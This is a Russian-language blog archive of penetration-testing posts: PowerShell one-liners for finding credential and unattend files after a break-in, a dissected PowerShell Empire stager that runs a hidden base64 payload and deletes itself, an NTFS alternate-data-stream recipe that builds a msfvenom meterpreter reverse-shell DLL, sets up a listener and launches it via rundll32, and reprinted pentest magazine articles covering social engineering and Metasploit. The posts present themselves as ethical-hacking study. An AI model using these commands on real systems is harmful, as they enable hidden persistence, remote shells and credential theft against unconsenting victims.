Showing posts with label kali. Show all posts
Showing posts with label kali. Show all posts

Saturday, 18 June 2022

PowerShell для тестирования Windows.

Всем привет.

Статья содержит список PowerShell команд, собранных из разных уголков Интернета, которые могут быть полезны во время тестов на проникновение. Я их нашел на Leakinfo, March 19, 2021.

Список команд включает в себя различные пост-эксплуатационные однострочные программы в чистой PowerShell, не требующие каких-либо потенциально помеченных как вредоносные сторонних модулей, а также набор удобных административных команд. Часть команд вам выдаст пустой ответ – анализируйте сами, бывает разное, либо запрашиваемое значение действительно отсутствует либо оно находится в другом месте реестра.

Поиск файлов с конфиденциальной информацией

Следующие команды PowerShell могут быть полезны на этапе после эксплуатации для поиска файлов на диске, которые могут содержать учетные данные, сведения о конфигурации и другую конфиденциальную информацию.

Ищем потенциально интересные файлы

С помощью этой команды мы можем идентифицировать файлы с потенциально конфиденциальными данными, такими как информация об учетной записи, учетные данные, файлы конфигураций и т.д., на основе их имени файла:

Код:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

Рекомендуется сделать это для каждого диска, но вы также можете просто запустить его в папке c:\users для некоторых быстрых результатов.

Ищем учетные данные в файлах Sysprep или Unattend

Эта команда будет искать остатки автоматических установок и автоконфигураций, которые потенциально могут содержать пароли в открытом виде или пароли в кодировке base64:

Код:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

Это один из хорошо известных методов повышения привилегий, так как обычно используется пароль локального администратора. Рекомендуется сделать это для каждого диска.

Thursday, 21 April 2022

Бекдор на Powershell.


Всем привет.

Занимаясь  по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь  тест, то код бекдора находится легко. Собственно моя находка представлена ниже:

# 2>NUL 

& @CLS 

& PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" 

& POPD /B powershell -noP -sta -w 1 -enc  

тут далее следует код нагрузки(payload) в кодировке Base64:

SQBGACgAJABQAFM.... и т.п.

Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:

1) ключи запуска:

-nol :NoLogo

-nop :NoProfile

-ep  :ExecutionPolicy Bypass

-sta :1 stream execution

-w 1 :Window style hidden

-enc :Encoded by base64

2) команда исполнения:

iex  :InvokeExpression

Tuesday, 9 November 2021

Про PowerShell Empire Framework.

Всем привет.

Наша жизнь невозможна без фреймворков. Фреймворки помогают создавать код, помагают выполнять код, и помогают код исследовать. Сегодня говорим про иcследование кода.

Мы любим PowerShell, но когда на нем еще и создан фреймворк, то мы любим его вдвойне. PowerShell Empire Framework - это фреймворк для пост эксплуатации windows(и не только!) систем, написанный полностью на PowerShell (серверная часть на Python, а клиентская на PowerShell, поэтому легко поднять серверную часть на том же Kali Linux, что я и сделал) который имеет в себе огромный функционал. Как вы заметили что помимо того, что он используется для постэксплуатации (повышение привилегий и закрепленния в системе) он активно используется и для активного фишинга, обхода антивируса и эксплуатации уязвимостей и одна из главных фишок - отлично используется для атак на AD (PowerView). 

Тут и далее я бы начал рассказывать вам про инсталяцию PowerShell Empire Framework, про листенеры, стейджеры и агенты, про огромный список модулей постэксплуатации на все случаи жизни, про все то что красиво описано во многих других местах сети, но... не буду. Смотрите сюда, и повторяйте шаг за шагом. Если вам это интересно. Алгоритм работы очень похож на работу с Metasploit в том же Kali Linux. Кто из них лучше? По моему оба хороши.

По своему первому тесту PowerShell Empire Framework могу сказать что код агента по умолчанию направлен на разовое исполнение с последующим удалением себя на жертве как файла. Полезная нагрузка агента (payload) обфусфицирована в base64.

Пример:

#2>NUL & @CLS & PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" & POPD /B powershell -noP -sta -w 1 -enc ..., тут далее следует код нагрузки.

На что следует обратить внимание - генерируемый код stagers в виде файла Powershell Empire теперь ложит в папку kali\Empire\empire\client\generated-stagers или в зависиммости от места самой инсталяции Powershell Empire в /usr/share/powershell-empire/empire/client/generated-stagers.


При этом Empire все равно что мы там указали предварительно в параметр Outfile.

Также полезно помнить что Powershell Empire вывод агента пишет в журнал который можно найти здесь:

kali\Empire\empire\server\downloads\<AgentName>\agent.log

Для каждого агента своя папка. Вот для моего агента ABX2G8DY была такая:

kali\Empire\empire\server\downloads\ABX2G8DY\agent.log

Thursday, 1 July 2021

Проводим пентест, часть 7 - ищем сокровища и заметаем следы.

Всем привет.

Сегодня 7-я заключительная часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №12(169), декабрь 2016. 

Часть 7. Ищем сокровища и заметаем следы.


Что делает хакер, уже проникнув в сеть? В зависимости от структуры компании жертвы эти действия могут отличаться Как же обнаружить злоумышленников?

Этой статьей я завершаю цикл, посвященный проведению тестов на проникновение. В предыдущих шести [1-6] мы достаточно подробно рассмотрели различные способы, которыми может воспользоваться злоумышленник для проникновения в корпоративную сеть. Были  представлены методы, связанные с использованием беспроводных сетей, поиском и эксплуатацией уязвимостей в приложениях, разработкой эксплоитов. Темой этой статьи будет обсуждение действий хакера, который уже проник в сеть, получил шелл на различные серверы, и теперь ему необходимо найти в сети ценную информацию, а также скрыть следы своего присутствия. Как известно, в среднем после взлома сети и до его обнаружения проходит порядка 200 дней (рекорд – восемь лет!). За это время злоумышленник успевает получить доступ практически ко всей интересующей его информации. Рассмотрим, какие действия может предпринять взломщик, проникнув в сеть, и что можно сделать, чтобы их обнаружить.

Вот основные действия хакера, о которых мы будем говорить:

  • взлом паролей
  • инвентаризация и поиск необходимой информации
  • перехват передаваемого трафика
  • выгрузка собранной информации
  • сокрытие следов своего присутствия.


Это некоторый типовой набор действий, которые обычно предпринимает злоумышленник. Перехват передаваемого трафика уже достаточно подробно рассматривался во второй статье цикла, так что здесь мы к этой теме возвращаться не будем. Однако в зависимости от структуры компании жертвы эти действия могут отличаться.


Паролей не бывает много.

Даже получив доступ к сети и создав свои учетные записи с административными правами, злоумышленник будет интересоваться учетными данными легальных пользователей домена, доступ к которым позволит получить доступ к большей информации, в том числе и зашифрованной данным пользователем. Также его действия будут менее заметны. Самый простой способ, к которому он может прибегнуть, – это сделать копию файлов с паролями и затем попытаться расшифровать пользовательские пароли офлайн, то есть на своем оборудовании или с помощью ботсети. Конечно, многие могут возразить, что подбор паролей – это достаточно продолжительный и трудоемкий процесс. Однако с ростом вычислительных мощностей и развитием соответствующих технологий подбор восьмизначного символьно-цифрового пароля может занять считанные минуты. Но обо всем по порядку.

Начнем с того, где хранят пароли различные операционные системы. Начнем с семейства ОС Windows.

Monday, 14 June 2021

Nessus Essentials - запуск первого скана.

Всем привет.

В своей третьей статье из серии пентестинга Андрей Бирюков рассмотрел  проведение  сканирования  на  уязвимости с помощью Nessus и OpenVAS. Сканер Nessus (впрочем как и OpenVAS) не входит в состав Kali, однако разработчики из компании Tennable подготовили специальную сборку Nessus Essentials для бесплатного теста. Версия Nessus Essentials позвляет сканировать до 16-ти узлов в сети.

Но его активация требует два кода. Вначале проводим код регистрации:

/opt/nessus/sbin/nessuscli fetch --register YAJS-9UK7-AS43-334A-6754

Затем получаем так называемый Challenge code:

/opt/nessus/sbin/nessuscli fetch --challenge

Challenge code: efdc4ab71986d27321f3d51cdb1a2c26b2a9a3b2

и вставлем их оба в онлайн-форму где получаем уже код лицензии.

Перебрасываем код лицензии в файл и проводим саму активацию:

/opt/nessus/sbin/nessuscli fetch --register-offline nessus.license


Далее входим в панель Nessus https://127.0.0.1:8834, назначаем политику для пробного скана и запускаем его.  Однако наш скан подозрительно быстро заканчивается и его отчет пуст. Но не я первый. Если наш первый скан выдает совершенно пустой отчет то причин тому может быть несколько:

- сканируемый хост недоступен

- фаерволл хоста блокирует входящие подключения

- неверно указана авторизация на хосте в политике сканирования

- база плагинов самого Nessus повреждена или пуста.


С первыми тремя причинами вы разберетесь быстро, а вот с базой плагинов нужно будет повозиться. Итак первым делом выполняем ее обновление:

/opt/nessus/sbin/nessuscli update --plugins-only

Далее останавливаем демон Nessus:

sudo systemctl stop nessusd 

Теперь выполним первую компиляцию базы:

sudo /opt/nessus/sbin/nessusd -R

Это займет некоторое время, не менее получаса.

И опять запускаем демон Nessus:

sudo systemctl start nessusd 

Но со входом на https://127.0.0.1:8834 не спешим. Ибо сейчас выполняется повторная компиляция полученных плагинов. Через пару минут входим в панель Nessus и повторно запускаем свой скан. Теперь мой первый скан выполняется минут 15-ть, и результат ниже.



Далее можно экспериментировать с политикой сканирования. Странно, но версию ОС моего подопытного хоста Nessus определил не верно.

Но Вам точно повезет.

Friday, 11 June 2021

Проводим пентест, часть 5 - поиск уязвимостей в приложениях.

Всем привет.

Сегодня 5-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №10(167), октябрь 2016. Эта часть интересна тем, что она затрагивает основы кодирования приложений, которые присутствуют во многих кампаниях, которые предпочитают иметь собственный штат разработчиков.

Часть 5. Поиск уязвимостей в «самописных» приложениях.

Проводить проверку на уязвимости для «самописного» ПО также необходимо, как и для сторонних приложений. Расскажем, как это сделать самостоятельно. В предыдущих статьях цикла [1-4] подробно рассмотрены различные способы проникновения в корпоративную  cеть. При этом был затронут вопрос поиска и эксплуатации уязвимостей. Продолжим обсуждение проведения аудита информационной безопасности и поговорим о поиске уязвимостей в «самописном» программном обеспечении.

Суть вопроса.

Не  секрет,  что  многие  компании  используют  в  своих  бизнес-процессах  программное  обеспечение  собственной разработки.  При  этом  качество  данного  ПО  может  быть различным. Крупные организации для разработки ПО прибегают  к  услугам  компаний-разработчиков  или  нанимают квалифицированных программистов себе в штат. Те, у кого денег  не  так  много,  для  разработки  ПО  могут  привлекать фрилансеров  и  студентов.  С  точки  зрения  безопасности и качества ПО наилучшим является первый вариант, когда для  создания  приложения  привлекается  компания-разработчик. В этом случае она не только несет ответственность за создаваемое ею программное обеспечение, но и за исправление найденных в нем ошибок. Очевидным недостатком  такого  метода  является  высокая  стоимость  разработки. Второй вариант предполагает нанимать программистов в  штат  компании  на  постоянной  основе.  Здесь  качество софта будет во многом зависеть от квалификации нанятых специалистов. С точки зрения экономии зачастую данный вариант не сильно дешевле первого. Ну а третий вариант наиболее распространенный. Компании привлекают людей на стороне для выполнения разовых задач. Зачастую приложение разрабатывает один человек, а его доработку и модернизацию ведет уже другой. Еще «веселее» бывает, когда доработка ведется в отсутствии исходных кодов приложения. В этом случае качество разрабатываемого ПО страдает сильнее всего.


Зачем это нужно.

Любое ПО содержит ошибки. Разработчика, будь то серьезная  компания,  или  фрилансера,  как  правило,  поджимают сроки. Чтобы успеть, он осознанно или нет допускает ошибки в программном обеспечении. Однако программные продукты (как бесплатные, так и коммерческие), которые разрабатываются для массового использования, находятся, что называется, у всех на виду. На портале Securityfocus.com [5] ежедневно публикуются отчеты о десятках новых дыр, найденных  экспертами  по  информационной  безопасности со всего мира. А вот ПО, разрабатываемое для нужд конкретных  заказчиков,  независимые  специалисты  не  проверяют. Многие могут возразить, что раз об этих приложениях никто не знает, то и эксплуатировать уязвимости в них будет  сложнее.  Но  «безопасность  через  неизвестность» (security through obscurity) – это не очень хорошая практика, так как проникший в корпоративную сеть злоумышленник сможет без труда найти дыру в самописном ПО. Таким  образом,  мы  приходим  к  выводу,  что  проводить проверку на уязвимости для «самописного» ПО также необходимо, как и для сторонних приложений. Однако в силу приведенных выше причин описанные в предыдущих статьях  инструменты  Nessus,  Open  VAS  и  Metasploit  будут  нам не слишком полезны. В лучшем случае мы сможем идентифицировать открытые порты и уязвимые библиотеки, которые использовали разработчики (например, OpenSSL). Далее мы будем рассматривать два варианта поиска уязвимостей: с исходными текстами программы и без него.

Tuesday, 1 June 2021

Проводим пентест, часть 4 - используем уязвимости.

Всем привет.

Сегодня 4-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №07-08(164-165), 2016.

Часть 4. Используем уязвимости

После нахождения уязвимостей хакеру необходимо  ими воспользоваться. Есть много способов это сделать. В  этой  статье  мы  продолжим  тему  практического  теста на  проникновение.  Ранее  [1-3]  мы  подробно  рассмотрели способы  проникновения  в  сеть,  идентификации  ресурсов и  поиска  уязвимостей.  Теперь  поговорим  о  том,  как  злоумышленник может воспользоваться найденными в ПО уязвимостями.

Тему  использования  уязвимостей  мы  поделим  с  вами на три части, каждая из которых будет представлять отдельную статью. Первая будет посвящена эксплуатации уязвимостей с помощью Metaspoit Framework, входящего в состав Kali Linux. Этот фреймворк является основным инструментом при проведении любого пентеста. Во второй мы расскажем об уязвимостях в веб-приложени ях. Будут подробно рассмотрены различные кроссплатформенные инструменты, также входящие в состав Kali. Широкое распространение веб-приложений в корпоративных средах требует особого внимания к вопросам их защищенности, поэтому я планирую посвятить этому отдельную статью. В  третьей  статье  мы  поговорим  о  поиске  уязвимостей в «самописных» приложениях. Практически в любой крупной компании есть ПО, разработанное либо собственными программистами, либо сторонними разработчиками. Зачастую это довольно старые программы, давно не обновлявшиеся. Про уязвимости в них сканеры, описанные в предыдущих  статьях,  могут  не  знать,  так  как  в  силу  закрытости и  нераспространенности  данного  ПО  никто  не  проводил его аудит и, соответственно, никто не знает специфические ошибки. Также и Metasploit вряд ли сможет применить к таким приложениям свои эксплоиты. Поэтому в третьей статье мы рассмотрим, как самостоятельно искать дыры в ПО. 

Эта статья потребует от читателя некоторых базовых знаний в области программирования и языка ассемблер, без которого исследование выполнимых файлов невозможно.

Ну а теперь рассмотрим работу с Metasploit Framework.

Хакерский мультитул.

ПО Metasploit Framework от компании Rapid7 представляет собой  многофункциональный  набор  средств,  с  помощью которых можно осуществлять различные тесты на проникновение.  Есть  несколько  редакций  Metasploit  [4].  Если  Pro и  Express  являются  платными,  то  Community  и  Framework бесплатные. Мы будем рассматривать редакцию Framework как наиболее подходящую для тестов на проникновение. Metasploit Framework входит в состав Kali Linux и для запуска консоли выполним Applications/Exploitation Tools/Metasploit.  В результате мы попадаем в командную строку. Для начала проверим наличие соединения с БД:

msf > db_status

[*] postgresql connected to msf

При отсутствии соединения нужноо его восстановить, т.к. Metasploit постоянно использует базу в своей работе. Если все функционирует штатно, то можно перейти к выполнению  практических  задач  по  эксплуатации  найденных уязвимостей. Сначала мы попробуем воспользоваться уязвимостями в Linux, а затем посмотрим, как взломать Windows.

Thursday, 13 May 2021

Проводим пентест, часть 3 - ищем уязвимости.

Всем привет.

Сегодня третья часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение(пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №06(163), июнь 2016.

Часть 3. Ищем уязвимости.

После успешного сбора информации о сети жертвы необходимо попытаться проникнуть на интересующие нас узлы. В этой статье речь пойдет о том, как искать уязвимости для проникновения

В  предыдущих  двух  статьях  цикла  [1, 2]  мы  собирали  информацию об атакуемой сети и пытались проникнуть внутрь посредством беспроводных каналов связи. Будем считать, что  находимся  в  атакуемой  сети,  нам  известны  подсети, адресация, маски, шлюзы, активные узлы и прочая полезная информация. Мы уже знаем, какие операционные системы и версии прошивок используются. Можем приступить к взлому.

Я не случайно уделил столько внимания вопросам исследования сети. Дело в том, что при отсутствии этой информации,  взлом  превращается  в  блуждание  с  завязанными глазами.  На  то,  чтобы  провести  это  исследование,  злоумышленнику нужны время и некоторые активные действия, по которым его можно обнаружить еще до того, как он начал наносить ущерб компании. Итак, мы знаем, какой хост является каким устройством. Теперь  попробуем  проникнуть  на  некоторые  из  них.  Пока не будем искать и использовать уязвимости в программном обеспечении. Вместо этого внимательно посмотрим на собранную нашими сканерами и снифферами в предыдущей статье  информацию  об  имеющихся  в  сети  устройствах и программном обеспечении, используемом на них. С  отчетами  сканеров  все  понятно,  для  обнаруженных хостов нам сообщили то, что удалось определить. Что касается снифферов, то тут, даже если нам не удалось перехватить пароли пользователей, в перехваченном трафике наверняка есть приветственные сообщения (баннеры) различных устройств и приложений. Так или иначе, нелишним будет проверить содержимое cap-файла с перехваченным  трафиком  на  наличие  наименований  наиболее распространенного ПО и оборудования.

В рамках статьи будем считать, что перехватить какие-либо учетные данные сниффером не удалось, и будем добывать доступ к узлам самостоятельно. А к теме перехваченных паролей вернемся, когда будем обсуждать поднятие привилегий (privilege escalation), в одной из следующих статей.

Итак, у нас есть некий список идентифицированного ПО. 

Алгоритм наших дальнейших действий в рамках данной статьи будет следующим:

  • Поиск учетных записей по умолчанию (если применимо).
  • Проверка данных аккаунтов.
  • Сканирование на наличие уязвимостей.
  • Эксплуатация данных уязвимостей и получение доступа.

Поиск учетных записей по умолчанию.

Начнем  с  самого  простого,  а  именно  попробуем  подключиться к узлам в сети жертвы с помощью учетных записей по умолчанию. В  данном  контексте  учетными  записями  по  умолчанию мы будем называть технологические аккаунты, которые создаются при первичной инициализации устройства или ПО. Такие записи особенно актуальны для различного сетевого оборудования, прежде всего точек доступа к беспроводным сетям. Конечно,  все  вендоры  настоятельно  рекомендуют  менять пароли после инициализации. Но мой опыт показывает, что особенно в сетях крупных организаций это правило совершенно  не  выполняется.  Произведя  первоначальную установку с паролями по умолчанию, администраторы потом просто забывают про свои устройства и вспоминают о них только в случаях сбоев. При этом сисадмины, как будет описано далее, судорожно ищут эти заводские пароли в документации вендоров. Для  того  чтобы  узнать  учетные  записи  по  умолчанию, прежде всего необходимо обратить к руководству по установке, которое можно найти на сайте разработчика данного устройства. Так как модель устройства нам известна, поиск документации  не  должен  составить  большого  труда.  Зачастую,  чтобы  найти  нужное,  достаточно  воспользоваться Google. Но когда в сети жертвы имеется целый «зоопарк» устройств, ускорить процесс поиска учетных записей по умолчанию можно с помощью ресурсов, подобных [3]. А что делать, если в сети несколько десятков различных сетевых устройств? Процесс подключения к каждому из них для проверки правильности учеток по умолчанию может занять продолжительное время. Кроме того, такая активность может быть обнаружена системами мониторинга.

Tuesday, 11 May 2021

Варианты имплементации file streaming.

Всем привет.

Как известно, хакеры могут скрывать свои инструментальные средства (файлы) на томах NTFS через механизм, известный как "потоковая" передача файлов (file streaming).  Когда инструментальные средства скрытые таким образом, то файлы в которых они спрятаны, не изменяются в размерах. 

Выполним имплементацию файла putty.exe в файл document.txt: 

type putty.exe > document.txt:test.exe

Однако спрятать просто файл это пол дела, хорошо бы еще ему сделать запуск на комьютере жертвы. Например так - запуск putty.exe из файла document.txt с помощью WMI: 

wmic process call create document.txt:test.exe

Но putty.exe есть putty.exe, вполне себе безобидная утилита.

А давайте рассмотрим вариант как же создать троян svchost.dll и имплементировать его в document.txt в Kali Linux. 

Выполняем в Kali Linux (192.168.1.10):

- создаем троян

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=5000 -f dll -o /var/www/html/svchost.dll

- запускаем слушатель 

msf exploit(multi/handler) > resource /root/Desktop/meta_script/listener.rc

resource>use exploit/multi/handler

resource>set payload windows/meterpreter/reverse_tcp

resource>set lhost 192.168.1.10

resource>set lport 5000

resource>run

...

Выполняем на жертве имплементацию:

typeс > document.txt:svchost.dll

Выполняем запуск svchost.dll из файла document.txt с помощью Rundll32: 

rundll32.exe document.txt:svchost.dll,DllMain

...

- и мы в системе (Kali Linux):

meterpreter> теперь можем танцевать по жертве.

Saturday, 1 May 2021

Проводим пентест, часть 2 - сбор необходимой информации.

Всем привет.

Сегодня вторая часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение(пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №05(162), май 2016.

Часть 2. Сбор необходимой информации.

Правильная идентификация версий ОС и ПО является неотъемлемой частью успешной атаки. В статье мы поговорим о том, как это можно сделать В предыдущей статье [1] мы провели аудит доступа к беспроводной сети. Теперь будем считать, что злоумышленник уже проник в корпоративную сеть и ему нужно собрать необходимую для взлома информацию. Для этого понадобится правильно идентифицировать установленные в сети приложения и перехватить как можно больше сетевого трафика, из его содержимого узнать о том, какие протоколы используются, и постараться перехватить учетные данные пользователей.

Разнообразие  приложений,  протоколов,  ОС  и  прошивок к  оборудованию  ставит  перед  потенциальным  взломщиком задачу  по  точной  идентификации  как  самой  программы, так и ее версии, архитектуры и других важных для атаки параметров. Ведь не бывает универсальных эксплоитов, каждый из них рассчитан на уязвимости в определенных условиях.

Не забываем о людях.

Собирать информацию о целевых сервисах можно не только техническими средствами, но и с помощью социальной инженерии.  Основные  способы  сбора  информации  (подробнее в [2]):

  • Анализ оборудования и ПО, упоминающихся в вакансиях организации.
  • Получение  данных  посредством  общения  с  техническими специалистами организации.
  • Сбор сведений о закупаемом оборудовании и ПО из открытых источников (например, goszakupki.ru или prozorro.gov.ua).
  • Анализ информации, которую размещают сотрудники компании, и особенно технические специалисты, в социальных сетях.
  • Телефонные звонки сотрудникам от имени технического персонала.


Первый метод позволит злоумышленнику получить базовое представление о тех сервисах, которые могут использоваться в компании. Само по себе это даст мало полезной информации, поэтому на следующем шаге хакер под видом соискателя может попытаться пройти собеседование и получить более детальные данные по оборудованию и ПО.

Государственные  организации  обязаны  все  свои  заказы размещать в открытом доступе, поэтому ресурсы типа goszakupki.ru  являются  дополнительным  источником  информации. Например, среди заказов можно встретить лоты на продление лицензий на ПО. К лотам должно быть прикреплено техническое задание или аналогичный документ, из которого тоже можно почерпнуть массу полезной информации.

Серьезной  проблемой  для  информационной  безопасности могут стать социальные сети. Конечно, никто не будет размещать пароли или другую конфиденциальную информацию на своей странице. А вот телефонный номер, ICQ, личную почту очень даже может. Ну и само собой фотография лишней не будет.

Ну а дальше социальная инженерия во всей красе. С помощью  полученной  контактной  информации  злоумышленник может связаться с сотрудниками компании и получить необходимую информацию. Обратите внимание, все приведенные выше действия вряд ли можно хоть как-то подвести под статьи уголовного кодекса.

В качестве практической части ко всему вышесказанному можно попытаться собрать информацию о технических специалистах своей компании в социальных сетях. Посмотреть, какая информация о корпоративной сети есть в открытом доступе. Не лишним будет кому-либо из специалистов,  проводящих  аудит,  позвонить  сотрудникам  компании и  от  имени,  например,  техподдержки  попытаться  узнать пароль выхода в корпоративную сеть. Подобные эксперименты позволяют получить представление об общем уровне осведомленности об ИБ в компании.

На этом, я думаю, с социальной инженерией можно закончить и перейти к техническим способам сбора информации.

Thursday, 8 April 2021

Проводим пентест, часть 1 - проникаем в сеть.

Всем привет.

Сегодня я открываю серию публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение(пентест) с помощью свободно распространяемого ПО прежде всего с помощью инструментов, входящих в состав дистрибутива Kali Linux. Оригинал статьи был опубликован в журнале "Системный администратор" №04(161), апрель 2016.

Часть 1. Проникаем в беспроводную сеть.

Насколько защищена ваша беспроводная сеть? Изучим различные способы проведения тестов на проникновение в нее.

Программное обеспечение постоянно развивается, создается множество новых приложений и версий операционных систем. Однако быстрая разработка ПО оставляет немного  времени  для  тестирования  программного  обеспечения, в  первую  очередь  из-за  сложности  кода  в  современных приложениях, а также из-за человеческого фактора. В результате в коде приложений остаются ошибки, которые впоследствии превращаются в уязвимости ПО. Проблема выявления уязвимостей актуальна не только для разработчиков софта и специалистов по информационной безопасности, но и для технических специалистов, внедряющих и обслуживающих бизнес-приложения.

Этой статьей я открываю серию публикаций, посвященных проведению аудитов и тестов на проникновение с помощью свободно распространяемого ПО. В основном речь пойдет об инструментах, входящих в состав дистрибутива Kali Linux [1]. Статьи будут носить практический характер, на реальных примерах разберем особенности реализации тех или иных техник проведения тестов на проникновение (пентестов). Для самостоятельной проработки данного материала я рекомендовал бы читателю развернуть Kali Linux на ноутбуке, так как по крайней мере для этой статьи нам потребуется физический беспроводной адаптер. Для последующих статей рекомендую установить ВМ с ОС Windows XP SP2. Использование столь старой ОС обусловлено тем, что имеющиеся в ней уязвимости широко известны, и их легко  можно  эксплуатировать  в  учебных  целях.  Поиск  уязвимостей в более новых системах может повлечь ненужную критику со стороны разработчиков и привести к реальным взломам рабочих бизнес-приложений.

Как будем ломать?

Существуют различные подходы к проверке защищенности сети. В некоторых случаях используют методику «черного ящика», когда взломщик ничего не знает об атакуемой сети и  ему  необходимо  произвести  «тест  на  проникновение» (пентест).  Как  правило,  это  делается  удаленно.  В  других случаях  аудиторам  предоставляется  возможность  проникнуть  на  территорию  предприятия,  но  не  предоставляется никаких прав, только сетевой порт («серый ящик»). Далее взломщику необходимо осуществить тот же пентест. И, наконец, вариант «белого ящика», когда аудитору предоставляется доступ ко всем настройкам сетевых устройств и приложений, и в таком случае необходимо проанализировать правильность настроек безопасности и выдать соответствующие рекомендации.

В  своих  статьях  я  буду  использовать  преимущественно  методику  «черного  и  серого  ящиков»,  предполагая, что  мы  ничего  не  знаем  о  целевых  системах.  Это  полезно  даже  для  системных  администраторов  и  специалистов по безопасности – взглянуть на сеть своей организации глазами взломщика, посмотреть на то, как он может попытаться проникнуть в сеть и как от этого защититься. Прежде  чем  начать,  напомню  о  существовании  статьи 272 УК РФ «Неправомерный доступ к компьютерной информации». Соответствующие статьи закона есть и в других государствах. Поэтому все описанное ниже носит исключительно ознакомительный характер и рекомендуется к проведения аудита исключительно собственных беспроводных сетей.

Версия на печать

Популярное